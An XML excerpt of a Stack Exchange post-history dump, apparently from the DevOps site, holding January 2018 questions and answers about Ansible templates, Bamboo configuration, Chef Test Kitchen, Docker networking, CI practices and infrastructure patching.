  <row Id="9526" PostHistoryTypeId="3" PostId="3041" RevisionGUID="49698530-6f11-4dc9-8d66-068f632f2d67" CreationDate="2018-01-08T15:03:13.607" UserId="736" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9527" PostHistoryTypeId="2" PostId="3042" RevisionGUID="37817488-ad27-4e51-8bc9-746ffde92476" CreationDate="2018-01-08T16:05:49.950" UserId="5842" Text="I found a solution using file globs.  Since I have a configuration file for each site, I can simply use the list of those files to iterate over all of them.   That way I don't have the list of sites in my task file even once, let alone twice.   All I need to do to add a site is add a file.&#xD;&#xA;&#xD;&#xA;To make things a little easier I created a directory for the templates:&#xD;&#xA;&#xD;&#xA; - `roles/webserver/templates/apache-sites/sitea.conf.j2`&#xD;&#xA; - `roles/webserver/templates/apache-sites/siteb.conf.j2`&#xD;&#xA; - `roles/webserver/templates/apache-sites/sitec.conf.j2`&#xD;&#xA; - `roles/webserver/templates/apache-sites/sited.conf.j2`&#xD;&#xA;&#xD;&#xA;Then in `roles/webserver/tasks/main.yml` I can use that list of files and some regular expressions:&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    - block:&#xD;&#xA;      - name: Install apache site conf&#xD;&#xA;        template: src={{item}} dest=/etc/apache2/sites-available/{{item|regex_replace(&quot;.*/&quot;,&quot;&quot;)|regex_replace(&quot;\.j2$&quot;,&quot;&quot;)}} mode=0644&#xD;&#xA;        with_fileglob:&#xD;&#xA;        - &quot;roles/webserver/templates/apache-sites/*&quot;&#xD;&#xA;      - name: Enable site apache conf&#xD;&#xA;        command: a2ensite {{item|regex_replace(&quot;.*/&quot;,&quot;&quot;)|regex_replace(&quot;\.conf\.j2$&quot;,&quot;&quot;)}}&#xD;&#xA;        args:&#xD;&#xA;          creates: /etc/apache2/sites-enabled/{{item|regex_replace(&quot;.*/&quot;,&quot;&quot;)|regex_replace(&quot;\.j2$&quot;,&quot;&quot;)}}&#xD;&#xA;        with_fileglob:&#xD;&#xA;        - &quot;roles/webserver/templates/apache-sites/*&quot;&#xD;&#xA;      become: yes" ContentLicense="CC BY-SA 3.0" />
  <row Id="9530" PostHistoryTypeId="5" PostId="3042" RevisionGUID="cf6e88f0-80de-4022-a19f-1d1ed60b2569" CreationDate="2018-01-08T16:24:58.400" UserId="5842" Comment="add applicability statement" Text="I found a solution using file globs.  Since I have a configuration file for each site, I can simply use the list of those files to iterate over all of them.   That way I don't have the list of sites in my task file even once, let alone twice.   All I need to do to add a site is add a file.&#xD;&#xA;&#xD;&#xA;To make things a little easier I created a directory for the templates:&#xD;&#xA;&#xD;&#xA; - `roles/webserver/templates/apache-sites/sitea.conf.j2`&#xD;&#xA; - `roles/webserver/templates/apache-sites/siteb.conf.j2`&#xD;&#xA; - `roles/webserver/templates/apache-sites/sitec.conf.j2`&#xD;&#xA; - `roles/webserver/templates/apache-sites/sited.conf.j2`&#xD;&#xA;&#xD;&#xA;Then in `roles/webserver/tasks/main.yml` I can use that list of files and some regular expressions:&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    - block:&#xD;&#xA;      - name: Install apache site conf&#xD;&#xA;        template: src={{item}} dest=/etc/apache2/sites-available/{{item|regex_replace(&quot;.*/&quot;,&quot;&quot;)|regex_replace(&quot;\.j2$&quot;,&quot;&quot;)}} mode=0644&#xD;&#xA;        with_fileglob:&#xD;&#xA;        - &quot;roles/webserver/templates/apache-sites/*&quot;&#xD;&#xA;      - name: Enable site apache conf&#xD;&#xA;        command: a2ensite {{item|regex_replace(&quot;.*/&quot;,&quot;&quot;)|regex_replace(&quot;\.conf\.j2$&quot;,&quot;&quot;)}}&#xD;&#xA;        args:&#xD;&#xA;          creates: /etc/apache2/sites-enabled/{{item|regex_replace(&quot;.*/&quot;,&quot;&quot;)|regex_replace(&quot;\.j2$&quot;,&quot;&quot;)}}&#xD;&#xA;        with_fileglob:&#xD;&#xA;        - &quot;roles/webserver/templates/apache-sites/*&quot;&#xD;&#xA;      become: yes&#xD;&#xA;&#xD;&#xA;This technique could even be used with empty dummy files to create a list for other applications." ContentLicense="CC BY-SA 3.0" />
  <row Id="9534" PostHistoryTypeId="2" PostId="3044" RevisionGUID="5b8a26a1-b3f5-40ea-8190-fbc5ff25313c" CreationDate="2018-01-08T18:19:17.450" UserId="6001" Text="We've had exactly the same problem - our build stage needs to use information from two separate locations.&#xD;&#xA;&#xD;&#xA;To solve this in a generic manner, I've created two general purpose Lambdas - one that will merge artifacts, and one that will extract specific files from an artifact. In both cases a new artifact is created that can be passed on to a subsequent CodePipeline stage.&#xD;&#xA;&#xD;&#xA;See https://github.com/tooltwist/codepipeline-artifact-munge&#xD;&#xA;&#xD;&#xA;If it does not meet your exact requirement, it should be easy enough to tweak to do what you need." ContentLicense="CC BY-SA 3.0" />
  <row Id="9535" PostHistoryTypeId="2" PostId="3045" RevisionGUID="2a108f19-9f71-4bdf-b260-0d05a343cc76" CreationDate="2018-01-08T19:38:08.417" UserId="6003" Text="One of the steps in our deployment process requires a configuration file that we don't want to commit to the repository and rather have it passed in by the Bamboo itself. Is there some sort of task/way to conviniently add it? It can be either a task that creates a file in work directory or assigns the file content to a variable.&#xD;&#xA;&#xD;&#xA;What we want to avoid is to have the file on the disk and passing in the path to the file - I'd rather have a way of pasting the file directly into a task.&#xD;&#xA;&#xD;&#xA;Currently, the deployment step calls a script that expects the content of said config file to be passed in (shortened for brevity):&#xD;&#xA;&#xD;&#xA;`deploy.ps1 --settings=&lt;file_content&gt;`" ContentLicense="CC BY-SA 3.0" />
  <row Id="9536" PostHistoryTypeId="1" PostId="3045" RevisionGUID="2a108f19-9f71-4bdf-b260-0d05a343cc76" CreationDate="2018-01-08T19:38:08.417" UserId="6003" Text="Passing in a file with configuration" ContentLicense="CC BY-SA 3.0" />
  <row Id="9537" PostHistoryTypeId="3" PostId="3045" RevisionGUID="2a108f19-9f71-4bdf-b260-0d05a343cc76" CreationDate="2018-01-08T19:38:08.417" UserId="6003" Text="&lt;deployment&gt;&lt;bamboo&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9538" PostHistoryTypeId="5" PostId="2443" RevisionGUID="5b46adb0-70d5-42d8-878e-e96c7b6468c8" CreationDate="2018-01-08T20:17:27.320" UserId="4175" Comment="typos" Text="We have a brownfield project which was recently struck by disaster (many people leaving for unrelated reasons, too many new customers, much too large backlog for much to few people, etc.). Management support is still fine. Thank bob the product owner (decades of knowledge) is still here. The devs have seen some glimpses of DevOps benefits from a very nicely-received DevOps colleague who is doing practical work as well as evangelisation, so there is no resistance on that front, either.&#xD;&#xA;&#xD;&#xA;At the moment, we are bringing in new people from all over the place (i.e., split across different cities and even countries, though all speak the same language), and getting the know-how under control etc. We are also focusing a *lot* on automation before starting actual development again, because everybody saw what happens when we don't. Also, we have bundled *everybody* together - devs, ops, testers, to make use of every last bit of knowledge and avoid future silos. So it is a very dynamic situation. &#xD;&#xA;&#xD;&#xA;My main objectives are:&#xD;&#xA;&#xD;&#xA;- Get people to work instead of panicking, i.e., give the individual devs focus.&#xD;&#xA;- Shield devs and ops from panicked management and stakeholders.&#xD;&#xA;- Make it more transparent for stakeholders to see what is happening with their tasks/epics, to reduce panicked zero-warning status calls.&#xD;&#xA;&#xD;&#xA;Most people, as well as me, are used to Scrum (or more likely Zombie-Scrum or Scrum-But ;) ), but I believe it is too early to do proper Scrum here. So I will likely implement Kanban (in Jira).&#xD;&#xA;&#xD;&#xA;What are your best practices here?&#xD;&#xA;&#xD;&#xA;- One column per person/pair? Or rather one column per stage for the tasks (i.e., &quot;in development&quot;, &quot;in testing&quot; etc.)?  I think I'd prefer the first, because it very clearly shows whether a person/pair has their hands full - we could use a full column really well for telling a manager to go away. Also, we have quite diverse roles in the team (i.e., a DevOps expert who will be focusing on the CI/CD pipeline and such; or the testers).&#xD;&#xA;- In the usual Scrum process, the P.O. would not be part of the actual sprint board, but do his good work in the backlog. Would you propose to give a column to the P.O. so he can focus on fleshing out a few task at a time? This would put the P.O. well inside the team, which I would like. Is it a good idea? (Yes, I am aware that Kanban does not actually label those roles, but I hope you see what I mean...).&#xD;&#xA;- Alternatively to the previous: I believe The IT Sceptic had an article about having two boards - one focused on the stakeholder epics, the other on the actual short-term tasks. Do you have experience with that? Would that help in this situation, in your experience?&#xD;&#xA;&#xD;&#xA;These may seem like three distinct questions, but are, in my mind one: how to structure the Kanban board - around people, or around tasks?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9539" PostHistoryTypeId="2" PostId="3046" RevisionGUID="2aa20aa6-605e-4bb2-95b1-532d4c0e7c27" CreationDate="2018-01-08T20:47:44.737" UserId="6" Text="It is convenient to use Environment Variables to provide runtime configuration for such scripts. Especially when it contains secrets that you don't want to hold in any persistent storage or in version control.&#xD;&#xA;&#xD;&#xA;When you do actually have secrets, it is even better to use some kind of secret management system that will provide these secrets on request. One such tool that I highly recommend is HashiCorp's Vault.&#xD;&#xA;&#xD;&#xA;Depending on how you are executing the jobs on the Bamboo Server, another option might be to store a local file on the server and reference that during builds. This is not really recommended since the server then becomes a special snowflake that only a few people know how to actually set up. It is much better to allow malfunctions with the server, or even the loss of all server data, to not affect your ability to deploy code. Thus having special files on the server itself is not so great." ContentLicense="CC BY-SA 3.0" />
  <row Id="9540" PostHistoryTypeId="5" PostId="3045" RevisionGUID="57c8b44f-ffc4-461f-a822-18380b5af899" CreationDate="2018-01-08T21:05:23.950" UserId="6003" Comment="Added clarification about the settings file" Text="One of the steps in our deployment process requires a configuration file that we don't want to commit to the repository and rather have it passed in by the Bamboo itself. Is there some sort of task/way to conviniently add it? It can be either a task that creates a file in work directory or assigns the file content to a variable.&#xD;&#xA;&#xD;&#xA;What we want to avoid is to have the file on the disk and passing in the path to the file - I'd rather have a way of pasting the file directly into a task.&#xD;&#xA;&#xD;&#xA;Currently, the deployment step calls a script that expects the content of said config file to be passed in (shortened for brevity):&#xD;&#xA;&#xD;&#xA;`deploy.ps1 --settings=&lt;file_content&gt;`&#xD;&#xA;&#xD;&#xA;edit:&#xD;&#xA;The settings file is a lengthy json file, with several arrays on few levels. I've been considering just assigning an inlined content of that file to the environment variable, but I was wondering if there was a better way to pass it as well as allow maintainers edit the values, if necessary.&#xD;&#xA;&#xD;&#xA;Splitting the config into several Bamboo environment variables is not really feasable, especially since one of our use cases requires the ability to run the deployment script without Bamboo, in case of server failure, for example." ContentLicense="CC BY-SA 3.0" />
  <row Id="9542" PostHistoryTypeId="50" PostId="2843" RevisionGUID="6bccece9-c237-4ca0-b66f-02c20bb8a11d" CreationDate="2018-01-09T00:20:37.387" UserId="-1" />
  <row Id="9543" PostHistoryTypeId="33" PostId="2843" RevisionGUID="45659dc3-240b-48b9-b521-5f6734c3e072" CreationDate="2018-01-09T08:07:21.657" UserId="228" Comment="14" />
  <row Id="9546" PostHistoryTypeId="2" PostId="3048" RevisionGUID="a4b3a95f-9b97-4b79-a0cf-725958ac89a5" CreationDate="2018-01-09T10:17:16.730" UserId="5994" Text="It seems ther reason for this was that the SMB connections would disconnect.&#xD;&#xA;using &#xD;&#xA;&#xD;&#xA;    net config server /autodisconnect:-1&#xD;&#xA;&#xD;&#xA;in a &quot;run as administrator&quot; command window fixed it.&#xD;&#xA;&#xD;&#xA;as explained here:&#xD;&#xA;https://www.vagrantup.com/docs/synced-folders/smb.html#preventing-idle-disconnects&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9547" PostHistoryTypeId="50" PostId="2791" RevisionGUID="c63e4ca4-fc68-445c-bc1c-0c7878de9b56" CreationDate="2018-01-09T11:23:45.277" UserId="-1" />
  <row Id="9548" PostHistoryTypeId="50" PostId="1688" RevisionGUID="c116a664-9b31-46a0-a67a-179c0fd74ca4" CreationDate="2018-01-09T12:27:33.073" UserId="-1" />
  <row Id="9549" PostHistoryTypeId="5" PostId="1767" RevisionGUID="23c9323b-fa6e-4d97-91c0-1424ae98a525" CreationDate="2018-01-09T12:51:06.297" UserId="40" Comment="fix typos" Text="I'll give you my perspective. Developers should care about docker as there are other developers who are willing to use docker and have already built an expertise in it. They are willing to take up the roles of a DevOps engineer along with being a developer. So the Ops part of DevOps is what they are now building expertise on. &#xD;&#xA;&#xD;&#xA;These days, you'll find more and more guys who can develop, orchestrate, automate tests, automate jobs and build tools to monitor and take this complete package into production single-handedly. These are the guys who are pushing docker and other tools among the developer community. &#xD;&#xA;&#xD;&#xA;Also, the tide of market is towards virtualization, auto-scaling, automation, machine learning and docker fits in all of these. It has become very imperative to use docker. The businesses are willing to pay 2x for a single guy who takes all these responsibilities and when there is demand for such guys, the supply will also begin. This is from point of view of an employee-employer.&#xD;&#xA;&#xD;&#xA;Technically, in the organisations I have worked, there are separate development and DevOps teams, although they work very closely for deliveries.&#xD;&#xA;The DevOps engineers and developers share a vast majority of skill-sets here and hence there is a negotiation of duties sometimes. &#xD;&#xA;&#xD;&#xA;The bare minimum a developer can do is to share his binaries, but he needs to understand that the binaries will be used to run inside a docker container and for that he needs to understand how docker works. For kubes, swarms, mesos etc, the developer may not even care what's being used, but basics of docker should be very well understood by the developer and a mindset should be there from the beginning to build the application loosely coupled for re-use as micro-services. If the application is built from that mindset (which requires basics of docker), then the DevOps engineers can take it up from there to auto-scale, orchestrate, test, deploy and monitor. &#xD;&#xA;&#xD;&#xA;Also, most of the times there is no one size fits all kind of thing. A developer does not know clearly how to build a docker friendly app and a DevOps engineer quite rightly does not know the internals of the app building process. Hence, most of the times, organisations prefer to give both these tasks to the same guy to speed things up. If there are separate things, then a continuous feedback mechanism is required from the DevOps team to the dev team for making the apps more futuristic and docker/cloud/scaling ready." ContentLicense="CC BY-SA 3.0" />
  <row Id="9550" PostHistoryTypeId="5" PostId="2519" RevisionGUID="747b9518-6c04-4f1d-ab5a-3c1501148896" CreationDate="2018-01-09T12:57:24.500" UserId="40" Comment="deleted 8 characters in body" Text="What are the strings to set to KUBE_SERVICE_ADDRESSES and their meanings? Which documentation or GitHub repo to look into to understand?&#xD;&#xA;&#xD;&#xA;Background: I have seen a few strings but not sure what these strings mean. Such as:&#xD;&#xA;&#xD;&#xA;    KUBE_SERVICE_ADDRESSES=&quot;--portal_net=10.254.0.0/16&quot;&#xD;&#xA;    KUBE_SERVICE_ADDRESSES=&quot;--service-cluster-ip-range=10.254.0.0/16&quot;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9553" PostHistoryTypeId="5" PostId="1633" RevisionGUID="48a32035-c7d2-48fb-861d-36b4cb6152db" CreationDate="2018-01-09T12:59:40.623" UserId="40" Comment="added 57 characters in body" Text="I believe you will need to do this programmatically using the AWS SDK as described in [Sending a Message (AWS SDKs)](http://docs.aws.amazon.com/sns/latest/dg/sms_publish-to-phone.html#sms_publish_sdk). Here is a quote a from it:&#xD;&#xA;&#xD;&#xA;&gt; To send an SMS message by using one of AWS SDKs, use the action in&#xD;&#xA;&gt; that SDK that corresponds to the Publish request in the Amazon SNS&#xD;&#xA;&gt; API. With this request, you can send an SMS message directly to a&#xD;&#xA;&gt; phone number&#xD;&#xA;&gt; &#xD;&#xA;&gt; ...&#xD;&#xA;&gt;&#xD;&#xA;&gt; **Sending a Message (AWS SDK for Java)**&#xD;&#xA;&gt; &#xD;&#xA;&gt; The following example uses the publish method of the AmazonSNSClient&#xD;&#xA;&gt; class to send a message directly to a phone number:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     public static void main(String[] args) {&#xD;&#xA;&gt;             AmazonSNSClient snsClient = new AmazonSNSClient();&#xD;&#xA;&gt;             String message = &quot;My SMS message&quot;;&#xD;&#xA;&gt;             String phoneNumber = &quot;+1XXX5550100&quot;;&#xD;&#xA;&gt;             Map&lt;String, MessageAttributeValue&gt; smsAttributes = &#xD;&#xA;&gt;                     new HashMap&lt;String, MessageAttributeValue&gt;();&#xD;&#xA;&gt;             //&lt;set SMS attributes&gt;&#xD;&#xA;&gt;             sendSMSMessage(snsClient, message, phoneNumber, smsAttributes);&#xD;&#xA;&gt;     }&#xD;&#xA;&gt;     &#xD;&#xA;&gt;     public static void sendSMSMessage(AmazonSNSClient snsClient, String message, &#xD;&#xA;&gt;     		String phoneNumber, Map&lt;String, MessageAttributeValue&gt; smsAttributes) {&#xD;&#xA;&gt;             PublishResult result = snsClient.publish(new PublishRequest()&#xD;&#xA;&gt;                             .withMessage(message)&#xD;&#xA;&gt;                             .withPhoneNumber(phoneNumber)&#xD;&#xA;&gt;                             .withMessageAttributes(smsAttributes));&#xD;&#xA;&gt;             System.out.println(result); // Prints the message ID." ContentLicense="CC BY-SA 3.0" />
  <row Id="9556" PostHistoryTypeId="50" PostId="2054" RevisionGUID="7704edb0-dabc-4184-ba6b-f2cad4db0854" CreationDate="2018-01-09T13:27:33.230" UserId="-1" />
  <row Id="9557" PostHistoryTypeId="5" PostId="3045" RevisionGUID="a4340f10-18aa-4933-871c-7e95d050dc63" CreationDate="2018-01-09T13:31:22.993" UserId="47" Comment="fixed typo" Text="One of the steps in our deployment process requires a configuration file that we don't want to commit to the repository and rather have it passed in by the Bamboo itself. Is there some sort of task/way to conveniently add it? It can be either a task that creates a file in work directory or assigns the file content to a variable.&#xD;&#xA;&#xD;&#xA;What we want to avoid is to have the file on the disk and passing in the path to the file - I'd rather have a way of pasting the file directly into a task.&#xD;&#xA;&#xD;&#xA;Currently, the deployment step calls a script that expects the content of said config file to be passed in (shortened for brevity):&#xD;&#xA;&#xD;&#xA;`deploy.ps1 --settings=&lt;file_content&gt;`&#xD;&#xA;&#xD;&#xA;edit:&#xD;&#xA;The settings file is a lengthy json file, with several arrays on few levels. I've been considering just assigning an inlined content of that file to the environment variable, but I was wondering if there was a better way to pass it as well as allow maintainers edit the values, if necessary.&#xD;&#xA;&#xD;&#xA;Splitting the config into several Bamboo environment variables is not really feasable, especially since one of our use cases requires the ability to run the deployment script without Bamboo, in case of server failure, for example." ContentLicense="CC BY-SA 3.0" />
  <row Id="9562" PostHistoryTypeId="2" PostId="3049" RevisionGUID="9d9703a9-336e-416d-8edb-1a25095f4410" CreationDate="2018-01-09T17:43:10.580" UserId="4634" Text="I am new to Chef, trying to put together a POC for my company.&#xD;&#xA;So I've got a project that has two cookbooks under the cookbook folder. One cookbook is a &quot;base&quot; cookbook called 'hydra-base', the other (called 'automator') is supposed to extend it. Right now all I have is a test in the extending cookbook, and a recipe invocation.&#xD;&#xA;&#xD;&#xA;My problem is when I attempt to verify it with Kitchen, everything uploads ok until it gets to trying to apply the recipe, then I get the following line:&#xD;&#xA;`Recipe:  hydra-base::default` and then kitchen just hangs. It has been idle for about 45 minutes now. If I break out of the tool (ctrl-c) then rerun kitchen converge, it gives me this error then hangs: &#xD;&#xA;&#xD;&#xA;`[2018-01-09T17:35:23+00:00] WARN: Chef client 1514 is running, will wait for it to finish and then run.`&#xD;&#xA;&#xD;&#xA;So it appears that chef still thinks its trying to update something. Here are the relevant files:&#xD;&#xA;&#xD;&#xA;    # automator/recipes/default.rb&#xD;&#xA;    include_recipe 'hydra-base::default'&#xD;&#xA;&#xD;&#xA;    # automator/Berksfile&#xD;&#xA;    source 'https://supermarket.chef.io'&#xD;&#xA;&#xD;&#xA;    cookbook 'hydra-base', path: '../hydra-base'&#xD;&#xA;    metadata&#xD;&#xA;&#xD;&#xA;    # automator/metadata.rb&#xD;&#xA;    depends 'hydra-base'&#xD;&#xA;&#xD;&#xA;calling `kitchen verify -l debug` does not seem to provide any additional information after the line that hangs. &#xD;&#xA;&#xD;&#xA;Can someone please give me a hint on how to fix this or how to get more information out of kitchen?&#xD;&#xA;Thanks" ContentLicense="CC BY-SA 3.0" />
  <row Id="9563" PostHistoryTypeId="1" PostId="3049" RevisionGUID="9d9703a9-336e-416d-8edb-1a25095f4410" CreationDate="2018-01-09T17:43:10.580" UserId="4634" Text="Chef (well, Test Kitchen) hanging when using local cookbook" ContentLicense="CC BY-SA 3.0" />
  <row Id="9564" PostHistoryTypeId="3" PostId="3049" RevisionGUID="9d9703a9-336e-416d-8edb-1a25095f4410" CreationDate="2018-01-09T17:43:10.580" UserId="4634" Text="&lt;chef&gt;&lt;testing&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9565" PostHistoryTypeId="5" PostId="3001" RevisionGUID="12937606-caf8-4f64-8a9b-9197bd2eda80" CreationDate="2018-01-09T18:46:55.673" UserId="5879" Comment="added 971 characters in body" Text="I agree that relying on &quot;developer education&quot; is quite futile, at least when it's the sole course of action. Combine this, however, with automation and you can achieve far greater impact. Both sides, [DAST and SAST](https://dzone.com/articles/dast-vs-sast-a-case-for-dynamic-application-securi) can be covered with:&#xD;&#xA;&#xD;&#xA;1. Unit test authentication: Make sure that you have unit tests that check registration, login, password reset and that it is integrated with your development process (continuous integration). Implement processes that automatically block changes to your code when they fail.&#xD;&#xA;&#xD;&#xA;2. Testing against known vulnerabilities: These are automated DAST tests that test your application from outside. Programs that handle this task include [BDD](https://www.continuumsecurity.net/bdd-security/) and [mittn](https://github.com/F-Secure/mittn) which is inspired by [GAUNTLT](https://github.com/GAUNTLT/GAUNTLT).&#xD;&#xA;&#xD;&#xA;Integrate everything *properly* with a CI server (Jenkins, Gitlab, Travis) and stop having to rely on your programmers' &quot;best effort security&quot;&#xA;&#xA;Note: my opinion of proper CI integration, from a language/platform agnostic view, covers the following&#xA;&#xA;**Tests/examples:**&#xA; - unit tests that cover at minimum 80%, better 90%&#xA; - integration tests that ensure the modules work with one another&#xA; - example programs that show how a user should use the API&#xA;&#xA;**Build automation:**&#xA; - Automatically build every pushed commit&#xA; - Build library, test and example code&#xA; - Build for each platform/configuration&#xA; - Run the tests&#xA;&#xA;**Merge/pull requests:**&#xA; - Block merges into master branch if any thing fails&#xA; - Require code review of at least one other colleague&#xA;&#xA;**Code analysis:**&#xA; - Run nightly static code analysis (style, anti-conventions, dangerous constructs)&#xA; - Run nightly dynamic code analysis (memory leaks, race conditions, known security flaws)&#xA;&#xA;**Publish results:**&#xA; - Publish graphs/trends of test/analysis history&#xA; - Talk about changes/targets in weekly meetings&#xA; - Act on problem areas with sprints/work packages" ContentLicense="CC BY-SA 3.0" />
  <row Id="9566" PostHistoryTypeId="2" PostId="3050" RevisionGUID="de469d8e-b5d5-48e1-a834-cbaf404f7928" CreationDate="2018-01-09T19:10:24.313" UserId="5879" Text="Development processes for embedded software always lags behind that for web development. When looking at unit testing, automated builds and code analysis there are many limitations to popular tools.&#xA;&#xA;From experience I have already dismissed the Arduino IDE to using platformIO with VS Code since, in regards to CI, it provides improved dependency installation and build configuration automation.&#xA;&#xA;The question is what tools and processes already exist and which can be repurposed to be used within the Arduino framework to enable CI as with web development.&#xA;&#xA;Meta: the next most relevant stack exchange group would be IoT, but not a single post mentions continuous integration" ContentLicense="CC BY-SA 3.0" />
  <row Id="9567" PostHistoryTypeId="1" PostId="3050" RevisionGUID="de469d8e-b5d5-48e1-a834-cbaf404f7928" CreationDate="2018-01-09T19:10:24.313" UserId="5879" Text="Best practices for CI for embedded platforms (ESP32/Arduino)" ContentLicense="CC BY-SA 3.0" />
  <row Id="9568" PostHistoryTypeId="3" PostId="3050" RevisionGUID="de469d8e-b5d5-48e1-a834-cbaf404f7928" CreationDate="2018-01-09T19:10:24.313" UserId="5879" Text="&lt;continuous-integration&gt;&lt;testing&gt;&lt;configuration-management&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9569" PostHistoryTypeId="2" PostId="3051" RevisionGUID="33d6cc01-c769-4042-b9f9-e9c087e55890" CreationDate="2018-01-09T21:32:11.110" UserId="4634" Text="It turns out that AWS was just excruciatingly slow and apt-get (applied in the base) was timing out. I would have known this had I gone back earlier and tried testing the base cookbook." ContentLicense="CC BY-SA 3.0" />
  <row Id="9570" PostHistoryTypeId="2" PostId="3052" RevisionGUID="f97cb812-989a-45d7-846c-1a04d07697ce" CreationDate="2018-01-09T22:27:04.157" UserId="6018" Text="We're going to be using Terraform to automate our infrastructure deployment and Packer to create the machine images deployed by Terraform. By following immutable infrastructure design principles, we will implement patching by creating a new image with the patch applied and then redeploy our infrastructure.&#xD;&#xA;&#xD;&#xA;With this setup, are there any additional tools we can use to automatically detect when a package or the OS itself in our base image needs updating and trigger the build pipeline? &#xD;&#xA;&#xD;&#xA;Chef Automate seems close to what I'm looking for, however, it seems to scan running nodes for compliance rather than analyze the image manifest itself.&#xD;&#xA;&#xD;&#xA;Thanks!" ContentLicense="CC BY-SA 3.0" />
  <row Id="9571" PostHistoryTypeId="1" PostId="3052" RevisionGUID="f97cb812-989a-45d7-846c-1a04d07697ce" CreationDate="2018-01-09T22:27:04.157" UserId="6018" Text="Patching Immutable Infrastructure" ContentLicense="CC BY-SA 3.0" />
  <row Id="9572" PostHistoryTypeId="3" PostId="3052" RevisionGUID="f97cb812-989a-45d7-846c-1a04d07697ce" CreationDate="2018-01-09T22:27:04.157" UserId="6018" Text="&lt;chef&gt;&lt;terraform&gt;&lt;infrastructure-as-code&gt;&lt;packer&gt;&lt;immutable-servers&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9573" PostHistoryTypeId="6" PostId="3041" RevisionGUID="b115bd12-0ae2-47fe-879a-4955bfd15945" CreationDate="2018-01-10T00:54:25.100" UserId="4115" Comment="added amazon-cloudwatch tag" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;&lt;amazon-cloudwatch&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9574" PostHistoryTypeId="24" PostId="3041" RevisionGUID="b115bd12-0ae2-47fe-879a-4955bfd15945" CreationDate="2018-01-10T00:54:25.100" Comment="Proposed by 4115 approved by 40, 736 edit id of 583" ContentLicense="CC BY-SA 3.0" />
  <row Id="9575" PostHistoryTypeId="2" PostId="3053" RevisionGUID="c9fae01b-f173-44dc-8abf-2f8a1b62c241" CreationDate="2018-01-10T06:24:56.640" UserId="709" Text="Since Windows use a tiny VM called MobyLinux, the port mapping will happen with tiny VM and not with Windows Host. If you are not reachable from Windows Host to Docker MobyVM, check windows events for possible error. For more networking related information, please see -&#xD;&#xA;&#xD;&#xA;https://docs.docker.com/engine/userguide/networking/&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9576" PostHistoryTypeId="2" PostId="3054" RevisionGUID="dc7287c2-b849-448c-bbfe-86ae7730b11e" CreationDate="2018-01-10T06:40:04.830" UserId="709" Text="This approach looks to solve your purpose using Chef audit but it has got it's own problems.&#xD;&#xA;https://joshuakugler.com/using-chef-zero-audit-mode-and-packer.html&#xD;&#xA;&#xD;&#xA;A custom solution -&#xD;&#xA;If you want to use a Compliance Policy ( for example , CIS, HIPPA ), create a job which will run audit parser on running package images and notify a update task upon non-complaint status.&#xD;&#xA;There are OVAL parser and OVAL definition available for free for above policies. For custom aduit policies you can write your own parser and audit the image.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9577" PostHistoryTypeId="2" PostId="3055" RevisionGUID="9349a0eb-f0c7-40fb-b23c-dba1b6c819b5" CreationDate="2018-01-10T07:15:37.183" UserId="6024" Text="Terraform with Kubernetes provider." ContentLicense="CC BY-SA 3.0" />
  <row Id="9578" PostHistoryTypeId="2" PostId="3056" RevisionGUID="f79a9697-a129-4609-9b85-c262b858c7b3" CreationDate="2018-01-10T09:23:13.323" UserId="6025" Text="I have a repository in GitLab that is used by our development team. On the other hand, there is a VSTS setup (at xyz.visualstudio.com) that we use to manage our scrum board. &#xD;&#xA;&#xD;&#xA;As of today, we have to manually import the repository in VSTS every time a feature is finalized. Once the repository is imported, it does not pull the latest commits by itself. &#xD;&#xA;&#xD;&#xA;How do I ensure that every time a developer commits code to GitLab repository, same is displayed in VSTS automatically? Am I missing something when I use &quot;import repository&quot; feature in VSTS?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9579" PostHistoryTypeId="1" PostId="3056" RevisionGUID="f79a9697-a129-4609-9b85-c262b858c7b3" CreationDate="2018-01-10T09:23:13.323" UserId="6025" Text="Reflect GitLab repo changes in VSTS code" ContentLicense="CC BY-SA 3.0" />
  <row Id="9580" PostHistoryTypeId="3" PostId="3056" RevisionGUID="f79a9697-a129-4609-9b85-c262b858c7b3" CreationDate="2018-01-10T09:23:13.323" UserId="6025" Text="&lt;gitlab&gt;&lt;azure-devops&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9581" PostHistoryTypeId="2" PostId="3057" RevisionGUID="bc4450c5-496c-451c-9c92-b2562fccb6c9" CreationDate="2018-01-10T09:24:46.513" UserId="2285" Text="As of you are using Rancher the easiest way would be to register custom Rancher Catalog and create an item for each stack/service you want to deploy. Then in Jenkins you can create a job that would call Rancher REST API to deploy/update stack/service. In his turn Rancher would pull latest version of the Docker image for this service and deploy it corresponding to Docker Compose file from the catalog." ContentLicense="CC BY-SA 3.0" />
